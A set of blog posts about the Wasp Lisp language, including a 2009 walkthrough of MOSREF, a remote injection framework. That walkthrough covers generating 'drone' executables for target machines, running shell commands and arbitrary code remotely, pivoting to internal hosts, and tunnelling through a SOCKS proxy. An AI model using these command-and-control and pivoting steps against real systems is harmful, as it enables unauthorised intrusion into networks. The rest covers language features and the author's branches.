Scott Dunlop, The author of Wasp Lisp, has moved development from its bzr based launchpad location to WaspVM on github.

Hopefully this will encourage more interest in the implementation with people forking and working on it. For an overview of Wasp Lisp you can read a couple of my previous posts on it:

I used to have a private git repository containing an import of Wasp Lisp and various branches of things I was working on. With the move to github I've rebased my changes on top of Scott's github repository and put them in the following branches in my github fork:

real_numbers: This adds support for floating point numbers to Wasp Lisp. Some of the numerical operators are overloaded to accept floats and support for floats added to the serialisation code so they can be sent to other nodes.
opengl: This was a start at adding support for OpenGL graphics. I never finished it but it's there in case I (or someone else) decides to hack on it again.
node_retry: This changes MOSREF drones so that they try to connect again if the connection to the console node breaks, or it can't connect in the first place.

They've been a couple of other thing I had tinkered with and these have been upstreamed already. The branches above are things that are either not ready for upstreaming or not suitable for other reasons.

Another Wasp project I did a while back was create a skeleton reference documentation for the Wasp Lisp functions and primitives, with some basic build instructions. I put this in a WaspVM-Articles github repository. It requires ASCIIDoc to build. A pre-generated version is available in waspvm-articles.pdf.

The documentation was created by using the 'waspdoc' tool to get the import and exports of the Wasp Lisp modules. I added the primitives by grepping/searching the VM source code by hand. Hopefully this can form the base of some up to date reference material.

You can see MOSREF in action from the older Mosquito Lisp system in these videos:

MOSREF was ported to Wasp Lisp by Scott Dunlop and is included in the source repository.

Using the Wasp Lisp Secure Remote Injection Framework (MOSREF)

2009-11-28T11:24:00+13:00

MOSREF is a secure remote injection framework written in Wasp Lisp (which I previously wrote about here). With MOSREF you have a 'console' program running which can create dones applications that are run on a target system.

The console and drones can communicate with each other, executing shell commands or Wasp Lisp code. Drones can create other drones to 'bridge' bridge communications so the console can send commands to drones it is not directly connected too.

Lisp code can be compiled and sent to drones to execute. One of the 'built in' capabilities is a Socks proxy server. This can be run on a drone and data is tunneled to the console which the controller can use as a socks proxy.

MOSREF isn't built by default with Wasp. To build it you need to run 'waspc' to compile and create an executable (example assumes you are in the root of the Wasp source directory):

$ cd mod
$ waspc -exe ../mosref bin/mosref
BUILD: bin/mosref
BUILD: core/macro
BUILD: core/config
BUILD: site/config
...
BUILD: mosref/cmd/with
BUILD: mosref/cmds
BUILD: bin/mosref
$ chmod +x ../mosref
$ rlwrap ../moseref
console> help
Commands: clear <key> ...
          cp <src-file> <dst-file>
          do <lisp-expr>
          drone <file> <id> <platform>
          exit
          help [i<command>]
          load <path>
          nodes
          on <node-id> [<command>]
          proxy [<portno> [<secret>]]
          recover <id>
          set [<key>[=<value>] [<command>]]
          sh <cmd>
          with <key>[=<value>] [<command>]

The first thing you need to do on the running console is set the IP address and the port it will listen on (Replacing xx.xx.xx.xx with the IP address):

console> set addr=xx.xx.xx.xx
Set.
console> set port=10000
Set.

Now you need to create a drone executable to be run on the target system:

console> drone drone1 foo linux-x86
Drone executable created.
Listening for drone on 10000...

This creates an executable for Linux systems called 'drone1'. It is given the name node name 'foo'. It will show in the list of nodes available from the console:

console> nodes
NODES: console online address: xx.xx.xx.xx port: 10000
       foo offline

When the 'drone1' executable is run on a target system it will connect to the console using an encrypted connection. You will need to find a way to copy and run the executable onto the target. The following shows it being run on the target:

target$ ./drone1
  DRONE: Preparing keys...
  DRONE: Sending Drone Public Key...
  DRONE: Sending Drone IV...
  DRONE: Reading Console IV...
  DRONE: CONSOLE IV CT is ...
  DRONE: CONSOLE IV PT is ...
  DRONE: Confirming Console IV...
  DRONE: Waiting for Console to confirm Drone IV...
  DRONE: Affiliation complete....

The connection will show on the console:

console> nodes
NODES: console online address: xx.xx.xx.xx port: 10000
       foo online

Notice it shows 'foo' is now online. It's now possible to execute commands on the target machine by sending them to the drone. Using 'sh' you can execute shell commands. From the console:

console> on foo sh ifconfig
eth0      Link encap:Ethernet  HWaddr ...
          inet addr:yy.yy.yy.yy
...
          RX bytes:2458924520 (2.2 GB)  TX bytes:2458924520 (2.2 GB)
console> on foo set addr=yy.yy.yy.yy
Set.
console> on foo set port=10000
Set.

Here we execute 'ifconfig' on the target so we can find out the IP address. The output of 'ifconfig' is sent back to the console. Using this information the addr and port is set on the drone. This can be used to have the target create new drones on internal machines that only it can access. It will then act as a bridge between the console and the internal machine.

As well as running shell commands you can run Wasp Lisp code:

console> on foo do (+ 1 2)
:: 3
console> on foo load lib/http-file-server.ms
:: spawn-http-file-server
console> on foo do (offer-http-file 2080 "/test" "text/plain" "Hello world!")
:: [queue 824A098]

Using 'on foo do' we compile a Lisp expression and send it to 'foo' to be run. In this case a simple addition. 'on foo load' will load a Lisp file located on the console, compile it, and send the byte code to be run on 'foo'. Then we 'on foo do' to run a function contained in that file on the 'foo' machine. In this case, it runs a simple webserver. Any Lisp code can be sent and run.

It's possible to copy files between nodes too. In this next example we create another drone that will be run on a machine internal to the network that the target is on. Note that the build is performed on the console so we need to copy the executable from there to the target.

console> on foo drone drone2 bar linux-x86
Drone executable created.
Listening for drone on 10000...
console> cp console:/home/console/waspvm/mod/drone2 foo:/tmp/drone2
Copy from console:/home/console/waspvm/mod/drone2 to foo:/tmp/drone2

Using some magic means (an exploit, copying file using shell commands on the target drone, etc) we get 'drone2' running on another machine available internally on the target network:

target2$ ./drone2
  DRONE: Preparing keys...
  DRONE: Sending Drone Public Key...
  DRONE: Sending Drone IV...
  DRONE: Reading Console IV...
  DRONE: CONSOLE IV CT is ...
  DRONE: CONSOLE IV PT is ...
  DRONE: Confirming Console IV...
  DRONE: Waiting for Console to confirm Drone IV...
  DRONE: Affiliation complete....

From the console we now see the 'bar' node:

console> nodes
NODES: bar online
       console online address: xx.xx.xx.xx port: 10000
foo online address: yy.yy.yy.yy port: 10000

MOSREF has a 'proxy' command that lets you set up a Socks 4 proxy on the console that tunnels traffic to and from a target node. Here we set up a proxy to the 'bar' node:

console> on bar proxy 5000
SOCKS Proxy created, listening on port 5000.

This will result in the 'console' machine having a Socks 4 proxy running on port 5000. If you configure Firefox to use this proxy you can access local webservers available from the internal network that 'bar' can see. Note that 'console' can't see 'bar' directly. It is tunnelling traffic to 'foo', from there to 'bar', then back from 'bar' to 'foo' and to 'console.

The source for MOSREF is in the Wasp Lisp distribution on github and makes for a good body of Wasp Lisp code for learning.

Wasp Lisp - a Small Scheme-like Lisp

2009-11-27T21:35:00+13:00

Wasp Lisp is a small Scheme-like Lisp implementation developed by Scott Dunlop. It features a lightweight concurrency model (with similarities to Erlang and Termite).

Wasp Lisp was originally derived from MOSREF - the Mosquito Secure Remote Execution Framework. It includes an implementation of MOSREF so can do similar things that the original was built for.

Wasp feels a lot like Scheme. It has a REPL which you can use to try Lisp interactively. You can spawn lightweight threads and use channels to communicate between threads. Here's a simple example with a thread that loops forever, waits for data to be sent to a channel and then prints that out. From the REPL strings are interactively sent to the channel:

$ rlwrap ../wasp
>> (define channel (make-queue))
:: [queue 98154C0]
>> (define (looper channel)
..   (forever
..     (define data (wait channel))
..     (print data)))
:: looper
>> (spawn looper channel)
:: [process looper]
>> (send "hello\n" channel)
hello
:: [queue-output 9815500]
>> (send "world\n" channel)
world
:: [queue-output 9815500]

Threads are co-operative in Wasp. You need to manually yield to switch from a thread. The following example doesn't manually yield and will constantly print 'a' to the terminal:

(begin 
  (spawn 
    (lambda () 
      (forever (print "a\n"))))
  (spawn
    (lambda () 
      (forever (print "b\n")))))

To yield you use the 'pause' function. Adding this to the 'forever' loop in the example above will switch between the two threads:

(begin 
  (spawn
    (lambda () 
      (forever 
        (pause)
        (print "a\n")))) 
  (spawn 
    (lambda () 
      (forever 
        (pause)
        (print "b\n")))))

Wasp Lisp code can get compiled to a compact bytecode format using the 'waspc' command. This can produce a binary executable for the platform:

$ cat >test.ms
(define (main)
  (print "hello world!\n"))
$ waspc -exe hello test.ms
BUILD: test
BUILD: core/macro
BUILD: core/config
BUILD: site/config
BUILD: core/file
BUILD: core/module
BUILD: core/io
BUILD: core/macro
BUILD: core/config
BUILD: site/config
BUILD: core/file
BUILD: core/module
BUILD: core/io
BUILD: test
$ chmod +x hello
$ ./hello
hello world!

There is quite a bit of example code, including a simple HTTP server:

$ rlwrap ../wasp
>> (import "lib/http-file-server")
:: #t
>> (offer-http-file 2080 "/test" "text/plain" "Hello world!")
:: [queue 985A1F0]

This serves the text 'Hello world!' when http://localhost:2080/test is requested. The Wasp VM site has an informal speed test of serving data comparing against THTTPD.

Wasp builds and runs on Linux, Mac OS X and Windows. Instructions for building and links to other information are here. The source is available on github. libevent is needed to build.